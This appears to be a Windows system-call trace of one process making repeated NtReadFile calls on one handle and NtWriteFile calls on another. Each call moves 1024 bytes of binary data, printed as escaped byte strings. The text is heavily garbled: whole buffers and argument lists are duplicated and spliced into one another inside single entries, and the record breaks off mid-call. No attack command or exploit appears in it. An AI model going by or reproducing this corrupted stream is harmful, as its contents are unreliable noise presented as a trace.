K\225\2365\256\320\240\345!\352hqr\350\310^\205m\17.\367\0\342\37k^/B1'j-\302I\242\36/\325\322s\214\247h\356\353~y\11%\226\211\311OW\13\13\340b\337\34w\306yj\0\225\264\221\222\235\337o\254Y%\30\345!\22E%\221[\264\265\313j\21\177\6\256\256m\213\216A\254\350\11\313\377\20\267\337p1IQ1:\371\301\356uv\4i3\321W\340~\237\231\300\262\301,\31\247\271\255\33NM*B\35\352\316\325m'\264%\351\177M\270\32\223P\207\7\331ol_\22\352\231y\312J\337\343\7\329\316V<\263\4A\234\23\344\255\277*C\271\244\305Z)\31\356\231\263\354\31\201L\0\275L", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \271Z#\215\363\2263`\274\223`\3347\375\30]\34\265.\36\337\365\254~\317\263\7_\370\365\352St\375G<\263\266\314\366\356\363M\337\261\231\313\237\250\327\210\324\245Z\30[\10\2265{\26\374\1\376\244A\326n\343\340\204p\236\307w\320^iL\360\210\250\36J9\322\2p\252\204/ K\225\2365\256\320\240\345!\352hqr\350\310^\205m\17.\367\0\342\37k^/B1'j-\302I\242\36/\325\322s\214\247h\356\353~y\11%\226\211\311OW\13\13\340b\337\34w\306yj\0\225\264\221\222\235\337o\254Y%\30\345!\22E%\221[\264\265\313j\21\177\6\256\256m\213\216A\254\350\11\313\377\20\267\337p1IQ1:\371\301\356uv\4i3\321W\340~\237\231\300\262\301,\31\247\271\255\33NM*B\35\352\316\325m'\264%\351\177M\270\32\223P\207\7\331ol_\22\352\231y\312J\337\343\7\329\316V<\263\4A\234\23\344\255\277*C\271\244\305Z)\31\356\231\263\354\31\201L\0\275L", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01272  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "q,\213=TwqVwYul$"So%\26b\245m\16\27,Gh\177\330~\254\314\3135\265\363\10i\267\267\30\231>>\33\36\333\232;|""#&:\316\267)(B*-M\205m7\260\363ku7f69q;:\226\3\277?-\235\352\236 \5\243#\2169\247'<\250*'\255-,\2560\233\312\22.\305\2677\336\270:\341\275=\224\355\232\34\325\237\37\232\240"\207\245%\16\221\177\350+\253\4\206o\31\270\31s\263%l\262\37\22\303\2723\267\25\323\2173\237\11\362\27`\2446\347\256=\316\311\211i\352\257\354Yl/35\262\344Vd\3666$\321\252\272\35z\261\330\\0\37\24!&:\313\15d/2h\376\16\337\255?y\307~\335\242f\344\267\212+\310\327\332=;\210\3349$\35-\200\317#\300$\203D-\373\307.b\233\10\314d^)\376\360\241G2hwxJ\2508\3119\3563\265\351\31\21\13\343%\257+\326\14\232\371~\347!\345#\343%\341'\353h)\361<\226\342nLU?\323`\3646X\333\24V\341"\213e*\303@\256\23\377q\377:\240\220\11\252\377i\376\332\272wU\26g\0)\261\26X\334?n\10\34]\336#l=3c\2\5N#H%{yz\251\306T\212\271\267\20\35\26%m89k\234K\242\335q\24\235\13\22\355\0m\373D\241\246?;(K*\255X\17o#\262\3677|t"8\2751f\304\303\335\34b@\226Y\236G\253\324\31\320Pw\364\270"ej78m\261ya\316'e\244\205jw|q\13\267\177\5\207K\2333\225B0!\253$\350\212#\11\344\206i\265lj\240l\320 \12\312O\236\344\220\277d\21\370\304<\225\216>@4\317\21;\300\20\362,\325\27b\252", ) So%\26b\245m\16\27,Gh\177\330~\254\314\3135\265\363\10i\267\267\30\231>>\33\36\333\232;|" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "q,\213=TwqVwYul$"So%\26b\245m\16\27,Gh\177\330~\254\314\3135\265\363\10i\267\267\30\231>>\33\36\333\232;|""#&:\316\267)(B*-M\205m7\260\363ku7f69q;:\226\3\277?-\235\352\236 \5\243#\2169\247'<\250*'\255-,\2560\233\312\22.\305\2677\336\270:\341\275=\224\355\232\34\325\237\37\232\240"\207\245%\16\221\177\350+\253\4\206o\31\270\31s\263%l\262\37\22\303\2723\267\25\323\2173\237\11\362\27`\2446\347\256=\316\311\211i\352\257\354Yl/35\262\344Vd\3666$\321\252\272\35z\261\330\\0\37\24!&:\313\15d/2h\376\16\337\255?y\307~\335\242f\344\267\212+\310\327\332=;\210\3349$\35-\200\317#\300$\203D-\373\307.b\233\10\314d^)\376\360\241G2hwxJ\2508\3119\3563\265\351\31\21\13\343%\257+\326\14\232\371~\347!\345#\343%\341'\353h)\361<\226\342nLU?\323`\3646X\333\24V\341"\213e*\303@\256\23\377q\377:\240\220\11\252\377i\376\332\272wU\26g\0)\261\26X\334?n\10\34]\336#l=3c\2\5N#H%{yz\251\306T\212\271\267\20\35\26%m89k\234K\242\335q\24\235\13\22\355\0m\373D\241\246?;(K*\255X\17o#\262\3677|t"8\2751f\304\303\335\34b@\226Y\236G\253\324\31\320Pw\364\270"ej78m\261ya\316'e\244\205jw|q\13\267\177\5\207K\2333\225B0!\253$\350\212#\11\344\206i\265lj\240l\320 \12\312O\236\344\220\277d\21\370\304<\225\216>@4\317\21;\300\20\362,\325\27b\252", ) \207\245%\16\221\177\350+\253\4\206o\31\270\31s\263%l\262\37\22\303\2723\267\25\323\2173\237\11\362\27`\2446\347\256=\316\311\211i\352\257\354Yl/35\262\344Vd\3666$\321\252\272\35z\261\330\\0\37\24!&:\313\15d/2h\376\16\337\255?y\307~\335\242f\344\267\212+\310\327\332=;\210\3349$\35-\200\317#\300$\203D-\373\307.b\233\10\314d^)\376\360\241G2hwxJ\2508\3119\3563\265\351\31\21\13\343%\257+\326\14\232\371~\347!\345#\343%\341'\353h)\361<\226\342nLU?\323`\3646X\333\24V\341 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "q,\213=TwqVwYul$"So%\26b\245m\16\27,Gh\177\330~\254\314\3135\265\363\10i\267\267\30\231>>\33\36\333\232;|""#&:\316\267)(B*-M\205m7\260\363ku7f69q;:\226\3\277?-\235\352\236 \5\243#\2169\247'<\250*'\255-,\2560\233\312\22.\305\2677\336\270:\341\275=\224\355\232\34\325\237\37\232\240"\207\245%\16\221\177\350+\253\4\206o\31\270\31s\263%l\262\37\22\303\2723\267\25\323\2173\237\11\362\27`\2446\347\256=\316\311\211i\352\257\354Yl/35\262\344Vd\3666$\321\252\272\35z\261\330\\0\37\24!&:\313\15d/2h\376\16\337\255?y\307~\335\242f\344\267\212+\310\327\332=;\210\3349$\35-\200\317#\300$\203D-\373\307.b\233\10\314d^)\376\360\241G2hwxJ\2508\3119\3563\265\351\31\21\13\343%\257+\326\14\232\371~\347!\345#\343%\341'\353h)\361<\226\342nLU?\323`\3646X\333\24V\341"\213e*\303@\256\23\377q\377:\240\220\11\252\377i\376\332\272wU\26g\0)\261\26X\334?n\10\34]\336#l=3c\2\5N#H%{yz\251\306T\212\271\267\20\35\26%m89k\234K\242\335q\24\235\13\22\355\0m\373D\241\246?;(K*\255X\17o#\262\3677|t"8\2751f\304\303\335\34b@\226Y\236G\253\324\31\320Pw\364\270"ej78m\261ya\316'e\244\205jw|q\13\267\177\5\207K\2333\225B0!\253$\350\212#\11\344\206i\265lj\240l\320 \12\312O\236\344\220\277d\21\370\304<\225\216>@4\317\21;\300\20\362,\325\27b\252", ) 8\2751f\304\303\335\34b@\226Y\236G\253\324\31\320Pw\364\270 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "q,\213=TwqVwYul$"So%\26b\245m\16\27,Gh\177\330~\254\314\3135\265\363\10i\267\267\30\231>>\33\36\333\232;|""#&:\316\267)(B*-M\205m7\260\363ku7f69q;:\226\3\277?-\235\352\236 \5\243#\2169\247'<\250*'\255-,\2560\233\312\22.\305\2677\336\270:\341\275=\224\355\232\34\325\237\37\232\240"\207\245%\16\221\177\350+\253\4\206o\31\270\31s\263%l\262\37\22\303\2723\267\25\323\2173\237\11\362\27`\2446\347\256=\316\311\211i\352\257\354Yl/35\262\344Vd\3666$\321\252\272\35z\261\330\\0\37\24!&:\313\15d/2h\376\16\337\255?y\307~\335\242f\344\267\212+\310\327\332=;\210\3349$\35-\200\317#\300$\203D-\373\307.b\233\10\314d^)\376\360\241G2hwxJ\2508\3119\3563\265\351\31\21\13\343%\257+\326\14\232\371~\347!\345#\343%\341'\353h)\361<\226\342nLU?\323`\3646X\333\24V\341"\213e*\303@\256\23\377q\377:\240\220\11\252\377i\376\332\272wU\26g\0)\261\26X\334?n\10\34]\336#l=3c\2\5N#H%{yz\251\306T\212\271\267\20\35\26%m89k\234K\242\335q\24\235\13\22\355\0m\373D\241\246?;(K*\255X\17o#\262\3677|t"8\2751f\304\303\335\34b@\226Y\236G\253\324\31\320Pw\364\270"ej78m\261ya\316'e\244\205jw|q\13\267\177\5\207K\2333\225B0!\253$\350\212#\11\344\206i\265lj\240l\320 \12\312O\236\344\220\277d\21\370\304<\225\216>@4\317\21;\300\20\362,\325\27b\252", ) , ) == 0x0
 01273  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Tw\5\330\321\234 c\206\334R7\364\253\230\212B\210\330\203-\235-;\207PL\233\21f\211\33\355p\344R\244\203\316\366L}\273\224o\347\350\37\325\211D\342\311\264\202\244\205\242K\253\2|2\2400\314\211_\323\236SJ\24!4\264W\2247(G\226Sh\270&\177\216\272\266\260o\215\270\270b\\177\355:\341p\362W\16r\232\3\242\300|\222(i\326\242\10\24\253\1\10\22\206r>\207\375fA\376#\17[\220m!?C2\316\340\2424l\235\264d\311\334\26\315c\256v\254T\201_\3\3415|\352 H\323G#\247\201\310\35\204\375\257\357c\302!A\20\247\303\270C\220\231\341\342\354t\177G\361\2\177\372yX\336\327\361\275\360^Y\21\206\3\263\211\5!PT\270\361\266\261\320\305Dp\375\255\353nv`\326\213 \31s\216\318&\33\5\215j\303\304\264\252\177\203\32\256\250Z\207$\24X\1H\33\30\37n\\263\341\240\6~\273\222\16rEP\270\36\3752\303r\365\27\37\221\237\336&v`\325p\10\264\0\301\237\7P9m2\216\322\353\212\262\256S\352\207\17fD\345\304+_\360<\247\5\2447EhY\34deN\276\30i\252\310\374\241\206~\372\337\262\260z\212\203\16\227\224\347\33(\203\364\251'\274\364\262\210:\277}+\354*\2677\353%\321\302\361\322\346\224\316\213\353\357\330A\362\20\337\25\215*\265\2127\354Z1\376)\330n\27h\334\343\225\200\357\334\245\207\303\244\342\15\260q&\340\237\333\6q\377up\34h\311\33l\317\311\216\2\363\3271d\274\274\27z-g-n\345\202\307\253\225\231\354\205L\20\276\210}\202\322\215esz\\216g}\374\254\363\32\222\376%#\365(\5\3254S\7\276\3268[\277c~#2\350\325\237\347\353\267\13]", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01274  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\242\3422#6\335\351\373\3529\261\365\2675\326\327\317\254\35\224\37!\253"n$$\34\346'\254hs.-,\234e"7;*0>\21=1\24>4\227\10:\23]\30\26V%)s&,/z" M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237"\267$\250&\341\30\356\32\363\34\304\36\305\20!\21lx@C_PV\346$\23F\226<\31*)L\16\252/\214#\126~5. ,&&$\207\10^C\353XE\16|c}r1\325\253\306D\1498\324:\371<\237 \227\31\23\14#\1\340..","(+\353\336(\220\217\7]3\314\333097\347f\345dL0\313;4\211M\21\352\078\20111f\35D\203#t\203>Q\300n\336l\214&\332h\330f\326d\204?9>iL/\342-\351\33\346.V,Aq\226\5y**\374\13\36=\177;Z\243z\255f\21\360\6\336\4\26\321\376\260\13<;N\216]=\22\335\24\5h6Tx\14\312av\10x~\360E\366\341\23\242\227O\235\13\227\Jg\30\33\360,\352.\334\20&\210)\24\245Co\320\2\255(\217\275\261\206\27436\342\315~\271>\310k\275?\243\303\232\36\205\214\317\2412\201\254$+\330{),\216\22),%[(\2600\\266S$\375\272c\237\222\2755>>\20U\34\30\3643`#\5@*\242\7\371))\240"\355<\24\3701G%\277s"\360~5:;8\264x;\222", ) n$$\34\346'\254hs.-,\234e (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\242\3422#6\335\351\373\3529\261\365\2675\326\327\317\254\35\224\37!\253"n$$\34\346'\254hs.-,\234e"7;*0>\21=1\24>4\227\10:\23]\30\26V%)s&,/z" M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237"\267$\250&\341\30\356\32\363\34\304\36\305\20!\21lx@C_PV\346$\23F\226<\31*)L\16\252/\214#\126~5. ,&&$\207\10^C\353XE\16|c}r1\325\253\306D\1498\324:\371<\237 \227\31\23\14#\1\340..","(+\353\336(\220\217\7]3\314\333097\347f\345dL0\313;4\211M\21\352\078\20111f\35D\203#t\203>Q\300n\336l\214&\332h\330f\326d\204?9>iL/\342-\351\33\346.V,Aq\226\5y**\374\13\36=\177;Z\243z\255f\21\360\6\336\4\26\321\376\260\13<;N\216]=\22\335\24\5h6Tx\14\312av\10x~\360E\366\341\23\242\227O\235\13\227\Jg\30\33\360,\352.\334\20&\210)\24\245Co\320\2\255(\217\275\261\206\27436\342\315~\271>\310k\275?\243\303\232\36\205\214\317\2412\201\254$+\330{),\216\22),%[(\2600\\266S$\375\272c\237\222\2755>>\20U\34\30\3643`#\5@*\242\7\371))\240"\355<\24\3701G%\277s"\360~5:;8\264x;\222", )  M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\242\3422#6\335\351\373\3529\261\365\2675\326\327\317\254\35\224\37!\253"n$$\34\346'\254hs.-,\234e"7;*0>\21=1\24>4\227\10:\23]\30\26V%)s&,/z" M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237"\267$\250&\341\30\356\32\363\34\304\36\305\20!\21lx@C_PV\346$\23F\226<\31*)L\16\252/\214#\126~5. ,&&$\207\10^C\353XE\16|c}r1\325\253\306D\1498\324:\371<\237 \227\31\23\14#\1\340..","(+\353\336(\220\217\7]3\314\333097\347f\345dL0\313;4\211M\21\352\078\20111f\35D\203#t\203>Q\300n\336l\214&\332h\330f\326d\204?9>iL/\342-\351\33\346.V,Aq\226\5y**\374\13\36=\177;Z\243z\255f\21\360\6\336\4\26\321\376\260\13<;N\216]=\22\335\24\5h6Tx\14\312av\10x~\360E\366\341\23\242\227O\235\13\227\Jg\30\33\360,\352.\334\20&\210)\24\245Co\320\2\255(\217\275\261\206\27436\342\315~\271>\310k\275?\243\303\232\36\205\214\317\2412\201\254$+\330{),\216\22),%[(\2600\\266S$\375\272c\237\222\2755>>\20U\34\30\3643`#\5@*\242\7\371))\240"\355<\24\3701G%\277s"\360~5:;8\264x;\222", ) , (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\242\3422#6\335\351\373\3529\261\365\2675\326\327\317\254\35\224\37!\253"n$$\34\346'\254hs.-,\234e"7;*0>\21=1\24>4\227\10:\23]\30\26V%)s&,/z" M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237"\267$\250&\341\30\356\32\363\34\304\36\305\20!\21lx@C_PV\346$\23F\226<\31*)L\16\252/\214#\126~5. ,&&$\207\10^C\353XE\16|c}r1\325\253\306D\1498\324:\371<\237 \227\31\23\14#\1\340..","(+\353\336(\220\217\7]3\314\333097\347f\345dL0\313;4\211M\21\352\078\20111f\35D\203#t\203>Q\300n\336l\214&\332h\330f\326d\204?9>iL/\342-\351\33\346.V,Aq\226\5y**\374\13\36=\177;Z\243z\255f\21\360\6\336\4\26\321\376\260\13<;N\216]=\22\335\24\5h6Tx\14\312av\10x~\360E\366\341\23\242\227O\235\13\227\Jg\30\33\360,\352.\334\20&\210)\24\245Co\320\2\255(\217\275\261\206\27436\342\315~\271>\310k\275?\243\303\232\36\205\214\317\2412\201\254$+\330{),\216\22),%[(\2600\\266S$\375\272c\237\222\2755>>\20U\34\30\3643`#\5@*\242\7\371))\240"\355<\24\3701G%\277s"\360~5:;8\264x;\222", ) \355<\24\3701G%\277s (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\243\242\3422#6\335\351\373\3529\261\365\2675\326\327\317\254\35\224\37!\253"n$$\34\346'\254hs.-,\234e"7;*0>\21=1\24>4\227\10:\23]\30\26V%)s&,/z" M+#!--C\22105=46B3?E><6\271:8\227\35\32\14\37#\265C\242'6&$\264\255!\252/4o\27\241\11\253\13\225\15\237\17\211\1\203\3\370\5\361\7\301$\370&\357\30\332\32%\354\37;\21\16\23\31\25\20\27g\11b\13m\15\\17C\1F\3\261\5\250\7\237"\267$\250&\341\30\356\32\363\34\304\36\305\20!\21lx@C_PV\346$\23F\226<\31*)L\16\252/\214#\126~5. ,&&$\207\10^C\353XE\16|c}r1\325\253\306D\1498\324:\371<\237 \227\31\23\14#\1\340..","(+\353\336(\220\217\7]3\314\333097\347f\345dL0\313;4\211M\21\352\078\20111f\35D\203#t\203>Q\300n\336l\214&\332h\330f\326d\204?9>iL/\342-\351\33\346.V,Aq\226\5y**\374\13\36=\177;Z\243z\255f\21\360\6\336\4\26\321\376\260\13<;N\216]=\22\335\24\5h6Tx\14\312av\10x~\360E\366\341\23\242\227O\235\13\227\Jg\30\33\360,\352.\334\20&\210)\24\245Co\320\2\255(\217\275\261\206\27436\342\315~\271>\310k\275?\243\303\232\36\205\214\317\2412\201\254$+\330{),\216\22),%[(\2600\\266S$\375\272c\237\222\2755>>\20U\34\30\3643`#\5@*\242\7\371))\240"\355<\24\3701G%\277s"\360~5:;8\264x;\222", ) , ) == 0x0
 01275  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "N\253`f\143w-\335\344\2523x\253\274\6\264\312Z\272Y\353\353\272\247@G\335r.\12\333\15\213\332x\216\246\326\4EA\270N\240\342\324\226\264[\372\321\225\221i\211\224\12!\217\363*\321-o\275\314\13,}\324\311\232\235X\36\206\365\201~K3e\217\356\347RC\362xe\17G6\342n\26%u\356#\216\213\3179\32=,,\374?\200\343\320\263\365\243\3]K\225W\271\213;-0\257\333\357s\307w\307O=\37\3411T\231\320\374\366\326\5\330\23\325\300\207P\323\260\266,\365,\17\12\226}\312\213yOS\32\212\273\1 \255X1\361\341\352e\313\307\212y\334\36z\272i\210\24#\301\11\332\354\22o\304\0\233nQ/-\200\255\261\342\367\35,+l\235A1\360Hw\7\206\245\215\265[\334\203\304\2\361\267t\11yi\234\307\205PX\257\35B\174\2\13\334\276B\242\266\320\210Df\177\222\242mT\32L\375\232\305\262\1\264\343\353\342\364\304\342~\260\254N\341\362\263\240\235%\2647!\2521\15\3u\200u\17i\236\312\332t\306\276\347\277+\270\251_\237\211{ nPf\253\254D\0\341\3074\316)+Iih*D\332\347\3762\10\252\342\305\313\216G\363\355\203jU\317\32kV\312c\353\334\357\350.\303 \273d\1\16\352\277\224\242,\21\321\25Q\21\3110\5\340\332S\27=\361\10h,\354\366b\212\203\202@U\312~K\3\212O\330\14\234IT\25\256\244\326\136Z\360u\4\311\352P\254\3344c6e\222\346n\362P\273\366zl\32\3531", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01276  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "L\15d\13\262\331#\10\36D\2|.\1\217:20\224\6\355\337\253"\2342=}\355\11\37\\22\366\267\224\244#\3W \6)\300\276\232*\14o=*\20<\332\3\2314\26\210\254\11\2478\341:\227\2713\31>W+\311\322!R\240\10#8#\2\303j\232/?@4":\334!\365\233;\321V?\255\2148\277\37,\275\34\333&#\2,\260\346\3166\330,\256\360hYR\3524\275\26/\36517\261i\210>\3333"?\327c=V<\213\1)\251\353v1##\300\223\275\273\11}\214"\200BR0,U\22\3\230\35R?<<_\32H\343\312\225\357 \244\324,\240\247&$U9=\3249i\256+\15\2\25s47B=R3\231L\327\353\373\235\11]\32\222]'w\3503j/dvk#^\30Q7\307&=h\327:\2245\372\15\354\3\346\1\330\7\234\323\273\274\341$\33\200\2016\203\204\247\2\207n\35\21\27\27i\256y:e\22\222PuaC\3\211\1\223\360\6\352\337\272\30\335\276?\300\236\210g$\205F\307p\271*\266\354\255\265\257\324\15t+\326\230\2328':0\276D)B\22\33\35WMJv!u\20\377\26\331\24\305\254*\353#\251\13.03\271s\4\260\3008\274"z9\277=\300\300\24\230\323\36\34\241\3\\341\4*\243"(,|\303&\224,S=\220\2722\10\263,9\320\302q\2333]*\237\237\6\226\346\32,\5!#(D0\271(*\241d $\344'\273 2:\277\17\336\2751x3\323k\331(0\344\11e\221\277(\340\32"\3\2444C@\375h\203d\305_,,\20\11\243(A\326(M)5\262=\376\257\20\334\35\35(\33\243%\235(\0\205FW+>\241-%}.\376\09\267\341H", ) \2342=}\355\11\37\\22\366\267\224\244#\3W \6)\300\276\232*\14o=*\20<\332\3\2314\26\210\254\11\2478\341:\227\2713\31>W+\311\322!R\240\10#8#\2\303j\232/?@4 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "L\15d\13\262\331#\10\36D\2|.\1\217:20\224\6\355\337\253"\2342=}\355\11\37\\22\366\267\224\244#\3W \6)\300\276\232*\14o=*\20<\332\3\2314\26\210\254\11\2478\341:\227\2713\31>W+\311\322!R\240\10#8#\2\303j\232/?@4":\334!\365\233;\321V?\255\2148\277\37,\275\34\333&#\2,\260\346\3166\330,\256\360hYR\3524\275\26/\36517\261i\210>\3333"?\327c=V<\213\1)\251\353v1##\300\223\275\273\11}\214"\200BR0,U\22\3\230\35R?<<_\32H\343\312\225\357 \244\324,\240\247&$U9=\3249i\256+\15\2\25s47B=R3\231L\327\353\373\235\11]\32\222]'w\3503j/dvk#^\30Q7\307&=h\327:\2245\372\15\354\3\346\1\330\7\234\323\273\274\341$\33\200\2016\203\204\247\2\207n\35\21\27\27i\256y:e\22\222PuaC\3\211\1\223\360\6\352\337\272\30\335\276?\300\236\210g$\205F\307p\271*\266\354\255\265\257\324\15t+\326\230\2328':0\276D)B\22\33\35WMJv!u\20\377\26\331\24\305\254*\353#\251\13.03\271s\4\260\3008\274"z9\277=\300\300\24\230\323\36\34\241\3\\341\4*\243"(,|\303&\224,S=\220\2722\10\263,9\320\302q\2333]*\237\237\6\226\346\32,\5!#(D0\271(*\241d $\344'\273 2:\277\17\336\2751x3\323k\331(0\344\11e\221\277(\340\32"\3\2444C@\375h\203d\305_,,\20\11\243(A\326(M)5\262=\376\257\20\334\35\35(\33\243%\235(\0\205FW+>\241-%}.\376\09\267\341H", ) ?\327c=V<\213\1)\251\353v1##\300\223\275\273\11}\214 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "L\15d\13\262\331#\10\36D\2|.\1\217:20\224\6\355\337\253"\2342=}\355\11\37\\22\366\267\224\244#\3W \6)\300\276\232*\14o=*\20<\332\3\2314\26\210\254\11\2478\341:\227\2713\31>W+\311\322!R\240\10#8#\2\303j\232/?@4":\334!\365\233;\321V?\255\2148\277\37,\275\34\333&#\2,\260\346\3166\330,\256\360hYR\3524\275\26/\36517\261i\210>\3333"?\327c=V<\213\1)\251\353v1##\300\223\275\273\11}\214"\200BR0,U\22\3\230\35R?<<_\32H\343\312\225\357 \244\324,\240\247&$U9=\3249i\256+\15\2\25s47B=R3\231L\327\353\373\235\11]\32\222]'w\3503j/dvk#^\30Q7\307&=h\327:\2245\372\15\354\3\346\1\330\7\234\323\273\274\341$\33\200\2016\203\204\247\2\207n\35\21\27\27i\256y:e\22\222PuaC\3\211\1\223\360\6\352\337\272\30\335\276?\300\236\210g$\205F\307p\271*\266\354\255\265\257\324\15t+\326\230\2328':0\276D)B\22\33\35WMJv!u\20\377\26\331\24\305\254*\353#\251\13.03\271s\4\260\3008\274"z9\277=\300\300\24\230\323\36\34\241\3\\341\4*\243"(,|\303&\224,S=\220\2722\10\263,9\320\302q\2333]*\237\237\6\226\346\32,\5!#(D0\271(*\241d $\344'\273 2:\277\17\336\2751x3\323k\331(0\344\11e\221\277(\340\32"\3\2444C@\375h\203d\305_,,\20\11\243(A\326(M)5\262=\376\257\20\334\35\35(\33\243%\235(\0\205FW+>\241-%}.\376\09\267\341H", ) z9\277=\300\300\24\230\323\36\34\241\3\\341\4*\243 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "L\15d\13\262\331#\10\36D\2|.\1\217:20\224\6\355\337\253"\2342=}\355\11\37\\22\366\267\224\244#\3W \6)\300\276\232*\14o=*\20<\332\3\2314\26\210\254\11\2478\341:\227\2713\31>W+\311\322!R\240\10#8#\2\303j\232/?@4":\334!\365\233;\321V?\255\2148\277\37,\275\34\333&#\2,\260\346\3166\330,\256\360hYR\3524\275\26/\36517\261i\210>\3333"?\327c=V<\213\1)\251\353v1##\300\223\275\273\11}\214"\200BR0,U\22\3\230\35R?<<_\32H\343\312\225\357 \244\324,\240\247&$U9=\3249i\256+\15\2\25s47B=R3\231L\327\353\373\235\11]\32\222]'w\3503j/dvk#^\30Q7\307&=h\327:\2245\372\15\354\3\346\1\330\7\234\323\273\274\341$\33\200\2016\203\204\247\2\207n\35\21\27\27i\256y:e\22\222PuaC\3\211\1\223\360\6\352\337\272\30\335\276?\300\236\210g$\205F\307p\271*\266\354\255\265\257\324\15t+\326\230\2328':0\276D)B\22\33\35WMJv!u\20\377\26\331\24\305\254*\353#\251\13.03\271s\4\260\3008\274"z9\277=\300\300\24\230\323\36\34\241\3\\341\4*\243"(,|\303&\224,S=\220\2722\10\263,9\320\302q\2333]*\237\237\6\226\346\32,\5!#(D0\271(*\241d $\344'\273 2:\277\17\336\2751x3\323k\331(0\344\11e\221\277(\340\32"\3\2444C@\375h\203d\305_,,\20\11\243(A\326(M)5\262=\376\257\20\334\35\35(\33\243%\235(\0\205FW+>\241-%}.\376\09\267\341H", ) \3\2444C@\375h\203d\305_,,\20\11\243(A\326(M)5\262=\376\257\20\334\35\35(\33\243%\235(\0\205FW+>\241-%}.\376\09\267\341H", ) == 0x0
 01277  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\5\233\34\2\331\375\36p\343\353w\351\16\261UX=5q\264\331\333\22v\301\323\351C\247\357\235\24I:\260Qd!H\14w/1$\347,\374*?j\330\267\323(\211\261\317\260ziLlC\343,\370\31%\7\272-\370]\371\11(\341\24c\215\223)~\33\325\377\324\237\326\242\332\327\350\27\321J\210^\345?\331\24q\31\306\356\324l\222\221\242j\24\336\264\362\335rb\344AI,\337\241\253\265P\342+\366\211\251W|+\324\337$\320\363\5\344\260\213\226\31\215q6\257\212\37[\21\365U\223Z\210\214\27z/^\342w\205Fh5\314\234!}\303\231\262\240\220\363\226\373]"\274\340\377\332\211\220\223k\357L\370\320Y\362\12H\240O\5\314\215\354Y$\254ep{F\203wp,-"\21\2251GpB\367,\314$\210\21-\365\10\27\373\6,o\11\217\211\310\247@n\361\17>u\207\3\6\215\273\200\260\345\277\316\252O\37V\247\37D\266\205\326\374Q\342\315w\313\271k\361\24\264\204\177G\365\32\257\251x\370\261\11~?5\370\31\217\312m\356\12\375\263XN\227\350\206f&\203B,\224\257\233,\366\345u\230\22\2\313\370\360\212\274\373\304\300\304\269\13\344\16'\274\371J\240\217\303\203`\256\21\364\314\225c\2163\224X\371\364\202N\367#,ob'0^\313 \324\364{\351\313\207Q\335\374r:E\332\336\262\255\202I"\277 \247\312A1\2o\330B\351\225\306F\337\256\275\32\254\12k\312\177cP\375},\244\/\362#\317V\300F\363\335j\5"\232\5\37mu\254\211\346\342F)&\2214<=|\23V!\2235\220J\67\216\7\225_\316R\245\357\31[\277\200\323W\300\25\214H\15\255\330%/\221}E\272:N\336\10\243\277\26\321\214w\236\340\277", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \274\340\377\332\211\220\223k\357L\370\320Y\362\12H\240O\5\314\215\354Y$\254ep{F\203wp,- (92, 0, 0, 0, 